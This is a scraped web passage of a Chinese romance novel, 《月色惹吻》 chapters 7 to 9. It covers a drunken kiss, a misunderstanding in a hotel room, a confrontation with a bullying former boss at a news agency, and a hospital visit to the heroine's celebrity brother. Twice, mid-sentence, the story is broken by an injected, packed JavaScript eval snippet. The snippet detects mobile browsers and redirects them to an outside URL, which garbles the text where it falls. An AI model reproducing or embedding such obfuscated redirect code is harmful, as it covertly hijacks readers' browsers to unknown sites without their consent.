《月色惹吻》 7. 主动权 左镯盯着他的脸半晌,突然一掌拍开。昝淮没预料到这一出,结结实实挨了下来。 “啪!” 清脆的声音在夜空中回荡,像极了调戏不成的尴尬下场。路人纷纷投来好奇的目光。 “小孩子,还敢调戏姐!”她醉醺醺地来了一句。 昝淮讪讪地退下。在行人八卦的眼神里,他第一次深刻理解了什么是“一次外向,换得终生内向”。 那一巴掌似乎用完了左镯的力气,只见她像个摆锤来回晃荡着。 吊着的线断了,摆锤砸进了昝淮的怀里。 冲击力还挺大。 “你还好吗?”昝淮低头询问这个“炮弹”。 “炮弹”似乎觉得他怀里这个“弹巢”并不舒服,扭了扭身子,嘴里正喃喃地说些什么。 听不清。 昝淮只好低头凑近,才听见她像只蚊子一样,哼哼道,“喜欢姐,没结果……” 三条黑线。真是在梦里都忘不了要拒绝他。 “这么果断拒绝,真是不留情面。”昝淮无奈地虚扶着她的腰,脸上满是自嘲,“为什么啊?” 他还以为刚才的场景,她会有些心动。 左镯皱着眉头沉思,不知是在思考究竟该用什么理由来拒绝才不伤情面,还是酒精确实伤了她的脑回路,令她想不到理由。哼哼唧唧了许久,只听她说,“……我不喜欢年纪小的。” 昝淮的脸色顿时有些难看,“怎么,之前的经历不好吗?” “没试过,不知道。” 左镯醉眼迷蒙间感觉到头顶似乎有种种的鼻息喷在发顶,她不由自主抬头看去,见到的却是冷冰冰的视线。 他生气了。 她霎时被推离了怀抱,可不知是不是对方心软,推开了她却还扶着她,生怕她摔了。 “骗子。”左镯听见他说道。 真奇怪,骗了他什么了?拒绝的理由?还是没试过? “走吧,我送你回去。”昝淮确认左镯能自己站好,迈步从他们出发的车库走去。 左镯看着他的背影一点点远去,和月色以及灯光融成一体。 没有了烈日的夏夜,只剩下穿得更少布料的人群来提醒着和其他季节的区别,十分危险,因为很难掩饰欲望。 昝淮听到身后的脚步声消失了,不禁回头打算确认左镯有没有跟上,眼前却顿时一黑。 那是一双葱白的长臂,看起来柔弱无力,却紧紧拽住他的衣领。 “怎么了?不是说没兴趣吗?” 他的眼神里闪烁着不悦以及一丝期待,十分矛盾,看不透。 看不透就不看了。左镯眨了眨眼睛,“试试也不亏。” 那双手猛然用力,昝淮不由自主地折腰。 坠进一汪洒满星光的春水里。 唇瓣的触感柔软,口腔里萦绕着葡萄酒的清香却没了丹宁的苦涩,像是儿时常吃的水果软糖,甜蜜地令人沉醉。 就像是第一次接吻般,蜻蜓点水般小心翼翼。从手臂的触感,左镯能感受到昝淮浑身肌肉的紧绷,身子甚至轻微颤动。她低笑了一声,伸出舌尖,一点点描绘着他的唇形,若有似无的撩拨,是占领了主导位的慵懒自如。 昝淮终于从刚才的讶异中缓过神来,在对手的闲情逸致的衬托下,他刚才的手足无措像是个毛头小子,毫无长进。怪不得会被嫌弃年纪小,没经验。他立志想要夺回主动权,正准备加深这个吻,左镯的头却往一边歪去。 他下意识地托住她的腰,才令左镯没有摔倒,而是软软地倒在她的怀里。 这是醉倒了? 释放了一整个晚上的精力,终于电池耗尽,睡晕了过去。 睡得可真是时候。 昝淮无奈地笑了笑,打横将左镯抱起来,向停车场走去。 - “Lesgensquisontdansnosrêveslanuit,faudraittoujourslesappelerlematinauréveil.” 夜晚梦里出现的人,醒来时就要去见他。 在夜晚流动的光影,投影仪的光照射在墙面上,勾勒出海浪的轮廓。灰蓝色的海在少年的眼眸里翻涌,起伏。 世界都悄无声息,唯有彼此的心跳和呼吸。我们都处在深渊里,像两条濒死的鱼,挣扎在命运的泥沼里,紧紧相拥,互相温暖着彼此,肉//体交缠在一起。 就这样下去吧,就这样下去有多好。 少年的手指温柔,抚摸在皮肤上如同在抚摸一块绝世珍藏的玉石,他爱着眼前的一切,小心翼翼地亲吻,如同害怕惊醒一个梦。 他的五官模糊不清,只能看见他的嘴一张/一合,似乎想要说些什么。 呓语飘散在朦胧的光影里,不真切却又无比动人。画面开始褪色,一切都渐渐模糊,少年的轮廓隐没在迷蒙的雾气里,只留下一个剪影。 左镯睁开千斤重般的眼皮,在脑袋里尖刺般的疼痛下,迎来了早晨。 这么一把年纪了,竟然做起春梦,难道真像Lea和秦岫说的一样,是缺乏爱情的滋润了? 她打了个哈气,磨磨蹭蹭地正犹豫要不要起床还是继续睡个回笼觉,眼前的场景却让她猛地惊醒。 这个陌生空间是哪里?!长绒棉的床单,舒服的木质熏香味,柔软的全地毯地面——这里绝对绝对不是她家。 她还未从这个陌生环境的震惊里回过神来,身边床位上突然发出一声不耐的喘息声,令她更是警铃大作。 左镯这才注意到,这个房间里还有一个人,而且还睡在床上?! 她猛地低头看了一眼自己的一身,不知何时竟然只穿着酒店的浴袍,所幸内衣还在。 但这又有什么幸的,自己的衣服呢!浴袍总不会长了腿,自己跑到她身上吧?! 她立刻翻身下床,在确保自己没有发出什么大声响的时候,开始搜寻自己的东西。她打开衣柜,自己的包和衣服都被认真地摆放好,甚至她感觉这衣服似乎□□洗熨烫过。 眼角余光瞥见摆放在架子上的熨斗,她拿在手里掂了掂。 很好够重,砸一次晕不了,砸两次一定能行。 她举着电熨斗,小心翼翼地挪动到床上那个隆起的布包,手颤抖地握住床单。 没事,就一熨斗的事,你可以的。 左镯的内心不停地给自己打气,她深吸了一口气,一把掀开床单。 昨夜折腾了一宿,昝淮接近凌晨才躺下,才刚入睡没多久,就听见房间里传来各种窸窸窣窣的声音。 所以当他睁开眼的第一个画面,就是左镯举着电熨斗,表情狰狞,正准备砸晕他。 这是干什么?羞愤到要杀人灭口了? “喂,等等!” 昝淮极致握住了左镯的手臂,才让这个铁块没有将他的脑袋砸出一个坑。左镯还未从白影突然蠕动的事件里回过神来,不由尖叫了一声,手里的熨斗也落在地上。 “昝……淮?” 见左镯终于回过神来,昝淮重重地点了点头。 可平静没有维持几秒,左镯立刻就近抄起枕头就往昝淮脸上砸。 “低级!下流!无耻!” 暴风骤雨般地猛砸似乎都无法令左镯解气,昝淮才意识到有什么地方不对,“喂,等一等!你是不是误会了什么?” “误会什么误会!”左镯的脸绯红一片,羞愤交加,“亏你还是靳磊的好朋友,就干出这种事!” “我什么都没做!”他举起双手,十分无辜。 “鬼才信!我的衣服是怎么回事?!” “你喝醉了,我让酒店前台帮你换的。” “那你为什么也在这个房间里!” “我怕你酒精中毒啊,得盯着。” “狡辩!” “不然我为什么要开双床房啊!” 双床? 左镯这才意识到,两个人的床位间隔着一条空间,确实是独立的两个床铺。她这才将信将疑道,“真的?” “说假话,我天打雷劈。”昝淮举手做发誓状。 “昨晚到底发生什么了?”她只觉得一阵头疼,什么都想不起来。印象的最后,是她好像在外滩的平台上跳舞了?呃,还有什么洋相吗? “你什么都不记得了?” 不知道为什么,她从昝淮的眼神里读出一丝失落和意料之中。 昝淮看着她一脸迷茫但又紧张的模样,手指不觉攥紧,可最终又松开。 “算了,你一向如此。” 什么意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477946|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昝淮翻身下了床,他是和衣而眠,在镜子前整理了仪容,动作中透露着一丝疲惫。走到门口时,他回过头,“酒店你想住多久就住多久,我就先走了。” - 靳磊一大清早收到手机的短信时,手机都差点没握紧。他反复确认了几次头像和发送时间后,回了一句:【姐,你又跑去那个国家了?时差几个小时?】 ZHUO:【(敲人表情包)没睡醒吗?我在海市。】 三个石头:【那你是被盗号了吗?】 ZHUO:【?】 三个石头:【我姐不可能这么早起床。】 ZHUO:【(滚表情包)】 耳边传来登机通知的广播,左镯手指飞快地打完最后几句话。每次和靳磊聊天,总能被他带到沟里去,反而忘了最初的目的。 ZHUO:【我今天临时去京市出差,你去我家帮忙送个快递。】 三个石头:【……这么突然?】 可不是突然嘛,甚至是临时特意找的理由。左镯内心腹诽。 她今天特意翘了和月擎集团开会的约,将一切全都推给蔺鸿鸣去处理。而自己选择飞去京市,参加一个完全可以远程通话的会。 目的不要更明显,她实在不知道怎么面对昝淮。 “欢迎乘坐国航,左小姐商务舱请往这边走。” 左镯接过登机牌,走过登机门。还好,她惹不起但躲得起。 逃避可耻但有用就行。 ------------------------------------------------------ 在京市的酒店正对着R社的大楼,那里是左镯曾经实习了一年多的地方。七年时光荏苒,但再次走在熟悉的街头,有种恍如隔世的感觉。 作为全球最顶级的外资新闻媒体之一,R社向来是他们这些独立新闻摄影师梦寐以求的合作对象。这次左镯特地不远千里从海市飞过来,就是为了和他们洽谈手里几个稿件的合作事宜。 “请问您要去几楼?”前台小姐礼貌有加,甜美的笑容挂在脸上。 “28楼。我和总编Beata有约。”左镯轻车熟路般地报出楼层。 前台小姐微微一怔,旋即解释道:“总编办公室在30楼呢,我帮您和她联系一下。” “啊?搬了吗?”左镯有些诧异,她应该没有记错。 “是的,从疫情前就已经在30楼了。” “这样啊……” 果然一切事物都随着时间改变了。自己就像一颗浮萍,回到了曾经熟悉的地方却也沧海桑田。 “左镯小姐是吗?”前台小姐放下了手中的话筒,冲她露出了职业化的微笑。 左镯点了点头。 “总编已经恭候多时了,我这就带您上去。” R社的办公室重新翻修过,墙体装饰着绿植,落地窗外阳光温暖地照射进来,空气里有着淡淡草木清香。 这一切和她记忆里大不相同。 曾经她作为记者实习生,常常缩在狭小的格子间里埋头苦干。彼时的办公室永远拉着百叶窗,整个办公室里充斥着起伏的打字声,打电话时的吆喝声,以及那些老记者永不停歇的吞云吐雾。 哪像现在这么安静,仿佛是一座图书馆。 她刚想感叹目前职场环境比她之前好了不知有多少,一声暴喝骤然炸响。 “What''swrongwithyourhead!你写稿的时候到底有没有动过脑子?!” 左镯和领路的前台小姐都被这声怒斥吓了一跳,她们俩循声望去,隔着玻璃的记者房里,一个约莫四十多岁的男人正怒气冲冲地将手中的稿件摔在地上,他的面前是一个看起来应该还是学生打扮的女生,带着厚厚的眼睛,被吓得佝偻起肩膀,瑟瑟发抖。 “新闻六要素学过没有?看看你写的是什么鬼东西!”男子揪着稿件破口大骂,脸上因为怒气上涌透着醒目的红。 前台小姐见状,脸色讪讪,“左镯小姐,我们快些走吧,别让总编等急了。”言罢,只想拉着她快速离开现场。 “哦,好的。” 离开前,左镯忍不住回头看了一眼,只见那暴躁的男子抬起头,正好对上了她探究的眼,停下了动作。 8. 故人 “总编你好,左镯小姐带到了。”前台轻敲门框,恭敬地通报。 从左镯的位置看过去,正好能见到Beata坐在老板椅上,戴着金丝眼镜,伏案正在电脑上快速地浏览着最新的专栏内容。她听见前台小姐的声音,抬起头时见到左镯,原本紧绷的唇角舒展开来,绽放出一个笑容。 “镯,好久不见!”Beata起身迎了出来。她是波兰裔的美人,嫁到中国来已经多年,中文说得极顺。她的身材高挑,又美又有气度,是R社近年来兴起的LeanIn项目(职场再进一步)里脱颖而出的女性领袖,以铁腕手段和直言敢谏闻名,带领亚太区业务在短短几载内一骑绝尘。 而她和左镯的缘分还得追溯到八年前,那时候左镯还在文化组当实习生,而Beata也才刚刚被提拔当上经济组的组长。 “没想到当年在楼梯间打瞌睡的小姑娘,如今已经是独立摄影大师啦。” 左镯闻言会心一笑。 R社作为外媒,并没有午休这一习惯,中午大家都是吃完饭后立刻投入工作,左镯曾经因为适应不了,为了熬过疲乏,于是就会偷偷溜到楼梯间假寐片刻,不料误打误撞,在那里遇到了Beata。 那是她第一次看见这个对外强势的女性领导,正在偷偷抽泣,可当她释放情绪几分钟后,很快抹干泪痕,再次武装自己,变成以前那样刀枪不入的模样。 当时两人在楼梯间的碰面有些尴尬——小实习生撞破女领导的脆弱时刻,左镯当时心里想着,该不会被灭口吧?忍不住为自己的职业生涯开始祈祷。 可没想到,Beata之后并没有对她有任何敌意。反而在好几个深夜加班,或者她被组长狠批的时候,Beata总会适时出现,给她宝贵的指点和鼓励。渐渐地,这个女人在左镯心中,从高高在上的上司,变成了亦师亦友的导师。 “Beata,我能问你个问题吗?”待到左镯快要实习结束前,决定不要R社的offer而出国转行进修时,她终于鼓起勇气,问了这个问题。 “你说。”Beata端起咖啡,目光柔和。 “你从不介意……我看到你脆弱的样子吗?” Beata耸耸肩,表情似乎对她在意的点无法理解:“我不知道你们中国人为什么这么在意面子?我不是机器,当然有我脆弱的时候。”说着,她喝了一口黑咖,纵然现在已经是凌晨1点,继续道,“你得适当释放自己的情绪,这样心灵才不会生病。” 她修长的手指点了点左胸,语重心长:“人生是长跑,你得确保自己能够长久地走下去。一时的落后,一时的跌倒算的了什么?你之前老觉得自己蹉跎岁月,犹豫不决,但你的职业生涯至少有30年,只是花一年的时间,又能落后多少?” 左镯怔怔地听着,只觉一股暖流涌上心头。是啊,她曾拼尽全力,事事争先。可直到来了职场,发现自己的努力被批的一文不值,自己也开始质疑所选的道路。 她就像一匹蒙头狂奔的马,一朝失蹄摔倒后便再也起不来。 那段时间里,她靠着药物才能入眠,活得像具行尸走肉。 她曾经以为闪闪发光的人,原来也有自己这样迷惘彷徨的时刻,而她都能走出来,为什么自己不能? 如今看来,她们都成了更好的自己,更加闪闪发光的人。 Beata与左镯握手寒暄,眼神里满是赞许:“我看过你拍的墨西哥偷渡者的照片,角度独特,敢于直面人性,难能可贵。”她轻点iPad,飞快浏览着左镯的作品集,笑容愈发满意,“明年大选在即,这个选题再合适不过。你有兴趣吗?” 其实当时经纪人寄了不少作品过去,左镯没想到这么敏感的议题能被青睐,毕竟这个秘而不宣的灰色地带,鲜有媒体愿意主动揭开面纱。对于Beata的慧眼独具,她心头一热,有种惺惺相惜之感。 两人迅速地敲定了之后的模式,以及未来合作的商务上的数字细节,一番讨论下来,竟已经过了两个小时。 Beata看了一眼自己的工作日程,五颜六色的标注让她不禁蹙眉:“镯,本来还想着请你吃顿饭叙叙旧,不过我这边临时有几个会。你在京市待多久?” 左镯无意间看见她那排得满满的日程表,她能为自己挤出2个小时,实属难得。 “我今天谈完就打算飞了,最近在筹备个展,走不大开。”左镯歉然一笑,“没事,未来合作多了,我会常来看你。” “好,那我便不多留你了。”Beata起身打算送一送她,忽而瞥见什么有趣的事,唇角露出一丝玩味,“镯,如果你没有事的话,社里如今还留着不少老人,要不要去打声招呼?” 她笑得一脸莫测,左镯好奇地挑了眉。 告别Beata,左镯信步走向电梯,迎面撞见一个熟悉的身影——那个方才在编辑室里狠批实习生的中年男人,不正是自己昔日的顶头上司Jasper吗? “哟!”他单手插兜,冲她招了招手。 这么多年,Jasper还是和以前一样的不修边幅,乱蓬蓬的头发,穿着格子衫和休闲裤,两袋乌青红肿的眼睛,不像是文化组的组长,倒像是个长期通宵盯梢的狗仔。 左镯笑着上前,和他轻轻击了个掌,“哟,老J,好久不见。” 秋末的暖阳令人舒心,他们两站在写字楼的顶层露台上,边抽着烟边闲聊着,一点也不觉着冷。Jasper抽的很快,一根接着一根,烟灰缸里很快堆起小山。 左镯见状,半开玩笑:“你再这么抽,身体迟早出事。” Jasper苦笑,猛吸了一口,长叹道,“还是以前好,一边加班审稿一边抽,现在办公室禁烟,每次我得跑出来偷偷摸摸地吸。” 他不屑地撇撇嘴:“现在的小年轻都抽什么电子烟,在办公室里时不时拿出来吸一口,拿着个u盘往嘴里塞,跟嘬奶嘴似的。” 左镯暗笑,这人倒是一点都没变,还是那副死不悔改,只要别人不按你的想法来就都是混账的模样。抽实体烟还嘲上电子烟,什么五十步笑百步。 “听说你现在混得很好,不错啊,大明星了。”Jasper咧嘴呵呵一笑,上下打量着左镯,语气里透露着一丝不易察觉的酸味。 “还好,”左镯靠墙而立,悠悠地吐出一口烟,“当年你不是看衰我来着吗?” 她还记得,自己选择拒绝了R社的offer时,Jasper当众嘲笑她不知天高地厚,早晚得哭着回来求她。 被当面揭短,Jasper自然也想起了自己曾经造的口业,尴尬地摸了摸鼻子,干咳了两声,“这不是没想到你还真做出来了,幸存者偏差罢了。” 左镯看着他有点局促的模样,幽幽地叹气道:“老J,你啊,真是一点都没变。” “啊?”Jasper有点不明所以。 “你还是那副高高在上,仗着自己是前辈便可以对下属颐指气使的德行。”左镯盯着他,字字铿锵,“在你的眼里,自己就是真理,任何反对的声音都该噤声。” Jasper没料到左镯竟然会如此不留情面,他顿时大怒,脸涨得通红,有些口不择言,“这就是你对前辈的态度?不要以为你有点小名气了就可以发号施令!别忘了当年你是在谁手下干活?!” 左镯见他跳脚,无能狂吠的模样,依旧不为所动,语气平稳:“你现在的样子,真该照照镜子。还活在过去呢。” 她支起身子,将烟头捻灭,“职场手册,貌似有一条是禁止随意辱骂员工吧?你觉得如果我作为‘吹哨人’,去和HR聊聊你今日的所做所为,他们会是什么感想?” Jasper瞠目结舌,他总下意识地觉得左镯还是自己的手下。可如今的她,眼神淡漠,气场全开,竟让他无端间生出几分怯意。 之前听说总编的年度专题将和左镯合作,他本想借着过去的情分,让左镯帮他美言几句,好让自己接下这个专题负责人,谁曾想,还未开口,这一当头棒喝,还反被她威胁。 他心下翻涌起一阵愤恨,从前便觉得这个女下属像是个高岭之花,不接地气。她的才气惊人,小小年纪在选题和撰写方面都出类拔萃。于是他各种打压,打回她的稿件,说她写的都是些博人眼球的话题,带着太重的自我情绪,偏离了新闻的客观性。 毕竟大家都是这么过来的,被老记者骂、老主编批,从打下手到一步步熬走别人。明明我经历过这么多,凭什么你们这些小年轻就想什么苦都不吃,就青云直上? 他自己曾经淋过雨,就想把别人的伞也撕了。 见Jasper被自己堵得哑口无言,烟也不知什么时候燃尽了,就像曾经的师徒情谊一般,走到了尽头。 左镯拍拍衣襟上的烟灰,准备欲走。 临走前她回过头,对着Jasper嫣然一笑。 “对了老J,我未来经常会来R社的。我会看着你的。” 这就是赤|裸|裸的威胁。Jasper的手下意识地攥紧,狠狠地盯着她的身影,脸色沉的可怕。 左镯拉开楼梯间的门,迎面撞见一个身着白衣的女生,她手里拿着两杯咖啡,怯生生地站在那里。牛奶瓶底般厚的眼镜也掩不住她眼底里藏着的恐惧,以及疲倦的青紫。 就像曾经的自己一样。 “我……我不是故意偷听的。”那女孩没想到会被左镯撞见,慌乱地解释,声音微颤,“我是来给组长送咖啡的。”说着,她挥了挥手里的咖啡。 “‘飞鸟绝高羽,行人皆晏兴’。看来你父母对你期望很高啊。”左镯瞥了一眼她脖子上的工牌,这个叫苏羽兴的女孩子,照片上气质纯净,笑起来眼神依旧有光,哪像现在这样,像只受惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477947|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小鸟。 左镯叹了口气,真不知道为什么在R社,什么秘密都能被她撞见。 “他让你送咖啡?”左镯挑眉,“你是记者,不是打杂小妹,下次他再叫你做杂事,就让他自己点外卖。” 说着,她拿过苏羽兴手里的咖啡,意味深长的说:“在和自己的这一场马拉松里,你得先让自己强大起来,才不会被欺负。” 说完,头也不回地走下楼梯。 苏羽兴怔怔地目送她离去,直到左镯的身影消失在楼梯间时她才反应过来,心中涌动着千言万语,似有一股力量催促着她追上去。 她对着楼梯间喊道:“谢谢你!” 良久,楼道里只余声阵阵,并无人应答。苏羽兴还以为左镯没有听见,正欲转身,却瞥见楼梯拐角处,有一双手若隐若现地冲她挥了挥。 不用客气。 苏羽兴攥紧了拳头,眼神愈发坚定。她是对的,我凭什么蹉跎?我有能力,有野心,我要用实力爬上顶峰,让所有看不起我的人知道我苏羽兴,生来就是要成就一番大事业。 ------------------------------------------------------ 左镯坐在机场里,看了眼手表,时针已经指向凌晨十二点,距离她机票上的时间已经过去了三个小时。她忍着困倦和烦躁的心情,敲了敲前台。 “您好,BSX791的预计飞行时间有新的消息了吗?” 空航人员有些歉意地摇了摇头,“目前还没有收到具体指令呢,需要麻烦您先等待。” 又是这个答复。她七点半到机场的时候就被告知因为气流原因,飞机无法降落,航班可能会延误。可如今已经等了将近五个小时,她的身体已经发出了疲倦的信号。 她的手机一亮,是蔺鸿鸣的微信,上面交代着展览的媒体发布会的细节,还要与她再次确认。 另一边靳磊的微信也跳了出来,问她什么时候到,要不要来接。 她回了一条:不回去了,航班延误,今晚就先住京吧。 靳磊的短信很快又弹出来:那这么迟,你一个人打车回去吗? 左镯回:对啊,不然我在这里打地铺吗? 因为这次机场大规模飞机延误,机场酒店早就已经爆满,她也是没有办法,揉了揉额头。今天上午在R社经历的戏剧经历已经让她很是疲倦,如今又摊上这事。她叹了口气,和前台办理完了转机手续,拖着行李箱往外走。 秋夜的天气已经转凉许多,左镯走出候机大厅,秋夜的寒风迎面吹来,她不禁打了个冷颤。夜色如墨,将她的身影溶入其中。她从口袋里摸出一根烟,叼在唇间,打算借此提提神,驱散周身的疲惫。 可当她摸遍全身,也找不到打火机,这才想起安检时,她早就丢进了垃圾桶里。 没辙,她正欲将烟收起,一簇火光倏地在眼前亮起。 火苗在夜晚的寒风下跃动,暖黄的光芒给那张俊俏的脸镀上了一层金边,勾勒出分明的轮廓,熠熠生辉。左镯愣了愣神,几秒后才分辨出这张脸。 是昝淮。 他半垂着眼,纤长的睫毛在眼睑处投下两弯月牙般的阴影。修长的手指虚拢成环,将跃动的火苗护在掌心,为她遮挡着夜风。 左镯凑近了些,他们俩的额头都几乎想要相碰。方寸之间,他身上的香水味清晰可闻。 嘴里衔着的香烟触到火苗,霎时迸出点点火星。左镯微微阖上眼,深吸了一口,烟气在口腔中盘桓流连,继而顺着喉管流淌至肺腑,带来几分苦涩,更多的确实安定。 “你怎么在这里?”左镯向后正好,向身后吐了一口烟,尽量不让味道飘到昝淮身上。 “靳磊不放心你。”昝淮直起身,目光若有似无的在她脸上逡巡,“我送你回去。” 她这才看见昝淮的车就停在附近。她没有说话,立在原地并没有动弹。 昝淮见状,也没有动作,只是静静地看着他。 袅袅烟雾在两人之间盘旋飘荡,似无形的隔阂,又像暧昧缱绻的纱帐。 许久,左镯开口:“昝淮,你什么意思?” 昝淮挑眉,往前走近了一步,直到两人之间的距离被拉近到呼吸可闻,在这个寒冷的夜色里分外灼人。 他高大的身影在灯光下拉出长长的剪影,将左镯笼罩其中。那双深邃的眼眸直直望进她的眼底,仿佛想要将她的心思看个透彻。 “就是你想的意思。” 他莞尔一笑,配合着他精致的五官确实如靳磊所说的,很多女人可能都会因此沦陷。 修长的手指捻住她指间的香烟,缓缓抽离。他将烟叼在唇边,深深吸了一口,继而缓缓吐出烟圈。 他盯着她,如同一只狼锁定了猎物一般。 “左镯,我想追你。” 9. 医院 “靳少,你的眼睛是什么回事?!” 助理曼姐今天一大早就带着咖啡和简餐到了靳磊的家,刚上二楼便见到他的卧室房门大开,而她家这位爱美如命的男明星,竟然顶着一个大油脸,眼下乌青一片,脸上一圈胡茬,邋遢得令她差点以为进错了门。 靳磊如同僵尸一般转过头,看见是自己的助理,伸了个懒腰:“曼姐啊,早……”然后他看了一眼手机,上面依旧空空如也,没有语音也没有信息。 见他神色有异,曼姐凑上前看了一眼,只见他手机里微信上是一连串的绿色气泡,却不见对方有任何回音。 “怎么了靳少,在等谁的消息?” 难道是试镜或者制作人?曼姐侧头思索了一会,实在想不起有什么符合的猜想。 “曼姐,你知道最快去京市的机票是几点吗?或是高铁?”靳磊突然一把抓住曼姐,眼睛里都是失眠的红血丝,“我要最快的速度去京市!” “今天有三场拍摄,你疯啦!”曼姐一把按住这个小祖宗,真不知他又在发什么疯,“别闹了,快点跟我出门!咱们得赶紧去工作室做妆造。”边说着边拉着这个小祖宗下楼。 “死昝淮,我让他接我姐,结果一个晚上了都没回我消息!!他干什么去了?!”靳磊内心嘶吼,但又没人可以说。他从昨晚便发了不知道成百的信息轰炸昝淮,都石沉大海。 若不是因为自己飞不过去,正好看到了昝淮的朋友圈显示落地了京市,哪会找他!靳磊脑海中想象着一只小肥羊被自己抱着送给了一只流着口水的大灰狼,气得怒摔手机。 手机在脱手的一瞬间,突然亮了起来,靳磊下意识就向前倾身想捞回来,结果身体瞬间失去重心。 咣当! 一阵轰隆巨响,接着是女人的尖叫声,以及靳磊的哀嚎。 而握在靳磊手心的手机里,传出了左镯的声音。 “靳磊?刚才是什么声音?” 左镯不明所以。她昨晚回到酒店已是深夜,结果忘记给手机充电,差点误了飞机。等到下了飞机,她的手机才成功开启。结果屏幕刚亮,上百条微信震得她的手机像个快要爆炸的定时炸弹。其中九成都来自靳磊。 而当她打过去的时候,回答她的却是如同灾难现场的声音。 “搞什么?” ------------------------------------------------------ 左镯从来没想过自己会这么慌张,心脏好像要从喉咙里跳出来一般的恶心。 “小姐,滴滴已经抵达海市人民医院,请注意……唉,小姐!” 几乎是滴滴停稳的同时,她都来不及听司机说些什么,就立刻冲了出去。 “你好,请问VIP病房怎么走?” 护士的胳膊突然被拉住的时候,她吓了一跳。转头看见一个长得十分清丽的女人,她的额头有微薄的汗,虽然长得好看,但如今脸色却十分难看,有种楚楚可怜感。 “从那边的电梯上26楼,然后你可以找护士站询问……” 对方几乎是听到她回答的瞬间就奔跑了起来,一路跑到电梯间。随着电梯的数字一路往上,左镯的心跳也越来越快。 会出什么事? 严重吗? 是我导致的吗? 电梯门一开,左镯便赶到了护士站。 “你好,我找8床的靳磊先生!” 护士站的人瞥了因为一路小跑而略显凌乱的左镯一眼,四下交换了一下眼神,一脸警惕地问道:“你是谁?” “我是他姐!”左镯立刻回道。 她的这个回答反而让这些护士更加起疑,她隐隐听见那几个护士在窸窸窣窣地交头接耳,类似“靳磊有姐姐吗?”,“传闻里没听说啊”,“不是一直说靳磊是靳氏独苗吗”,“这是有什么瓜吗?”,“应该是什么私生伪装的吧?”…… 左镯这才意识到,靳磊除了是自己的弟弟以外,还是国内一线的大明星,像她这样莫名闯进医院,还嚷嚷自己是大明星的姐姐,比较像是个有着妄想症的私生饭。 她有必要替自己辩白一下。 “呃,我真的是靳磊的姐姐,不信你可以给他打电话……”左镯觉得自己脸上的表情一定是无比真诚,可对方的表情却一脸怀疑。 “小姐,我可以看一下你的身份证吗?” 见到护士有点松动迹象,她立刻把身份证递上去。 护士之间又是一阵的交头接耳,之后将身份证退还给了她。 “小姐,你撒谎也挑一下吧,这么容易就被拆穿……”护士的表情一脸尴尬又有些轻蔑。 “?” 左镯一脸不解,其中一个年轻点的护士有些看不下去了,一连串怼人的话说得特快:“你姓左,他姓靳,你说自己是靳磊的姐姐,那我也可以是他妹妹咯!” 另一边一个年长的护士也参与进来,教育道:“哎,你们现在这些小姑娘,不务正业,天天追在明星后面,还干这些侵/犯他人隐私的事,有这些精力,干些什么事不好!” “……” 左镯无奈,看来是说不通了,只得拿起手机拨打靳磊的电话。电话才播出去,左镯听见了手机铃声在很近的地方响起。顺着声音,她看见一个四十多岁中年女性,手里拿着一只碎裂的手机,正在张望。 两人视线一对上,她便欣喜地快步走了过来。 “你是左镯?” 左镯点了点头。 曼姐的脸上顿时盛开了笑容,她上下打量了一下左镯,虽然因为奔跑和素颜略显狼狈,但她清丽和素雅的气质让她这个作为经纪人内心的雷达大动,要不是那边还有靳磊在等,她都想拉着左镯坐下来聊聊可能的演艺事业了。 “靳磊正吵着说你怎么还没到,我带你过去。” 在众护士的瞠目结舌下,左镯跟着曼姐走进了VIP病房。随着病房门被拉上,护士站爆发了剧烈的讨论。 “怎么回事?!” “不对啊,从来没听过靳磊有姐姐,也没有任何站姐拍到过!” “而且他们俩都不同姓?!” “这是什么秘闻吗?我们吃到瓜了?” …… 进到病房的第一眼,她先是看到了打着石膏的脚,顺着向上,看见一张熟悉的俊俏的脸,只是额角带着一小块的纱布。 这个穿着病号服的男人,冲着自己露出了一个大大的笑容,虎牙在灯光下分外耀眼:“哟!你终于来了。” “哟你个头!多大的人了!”左镯气得当场就想敲开靳磊的头,看看里面都藏了些什么。她的这个弟弟好像这些年只长个子,其他都还是小孩子。 “唉唉唉,我叫你来可不是让你对我伤上加伤的!”靳磊举手求饶,一边给曼姐使眼色,“曼姐救我啊!” 曼姐赶紧拉住左镯,让她先坐下:“消消气,靳磊只是太担心你了。” “担心?”左镯眉头轻蹙,一脸不解,“担心我做什么?” “你为什么没有回我的信息?我给你打了那么多个电话!”靳磊一脸不开心,像个闹脾气的小孩。 “我的手机没电了啊,”左镯双手抱胸,耸了耸肩,“我在机场等了5个小时,你还一直给我发信息,自然没电了啊。” 左镯想了一会,又继续道:“而且,你不是让昝淮来接了我吗?” 提到这个名字,左镯的脸色有一瞬间的不自然,但是她还是很快地控制住自己的表情,恢复了惯常的不动如山,“他没和你说吗?” 靳磊赌气:“他说了。” “那你还担心什么?”左镯眉毛皱得更紧了。 当然是因为他接到你以后就没声了啊!靳磊的内心嚎啕,但是他斜眼看了眼曼姐,只能把这些话都先吞到肚子里。 曼姐是什么职场老油条,又跟了靳磊多年,她这位“金母鸡”脑筋怎么转,他的一个眼神又是什么意思,她自然了如指掌。 “那个,我这边还得处理一下未来几天的几个工作项目,先出去接几个电话。”她指了指手机,脸上一脸歉意,然后又转头对左镯双手合十,“我家小祖宗就麻烦你了。” 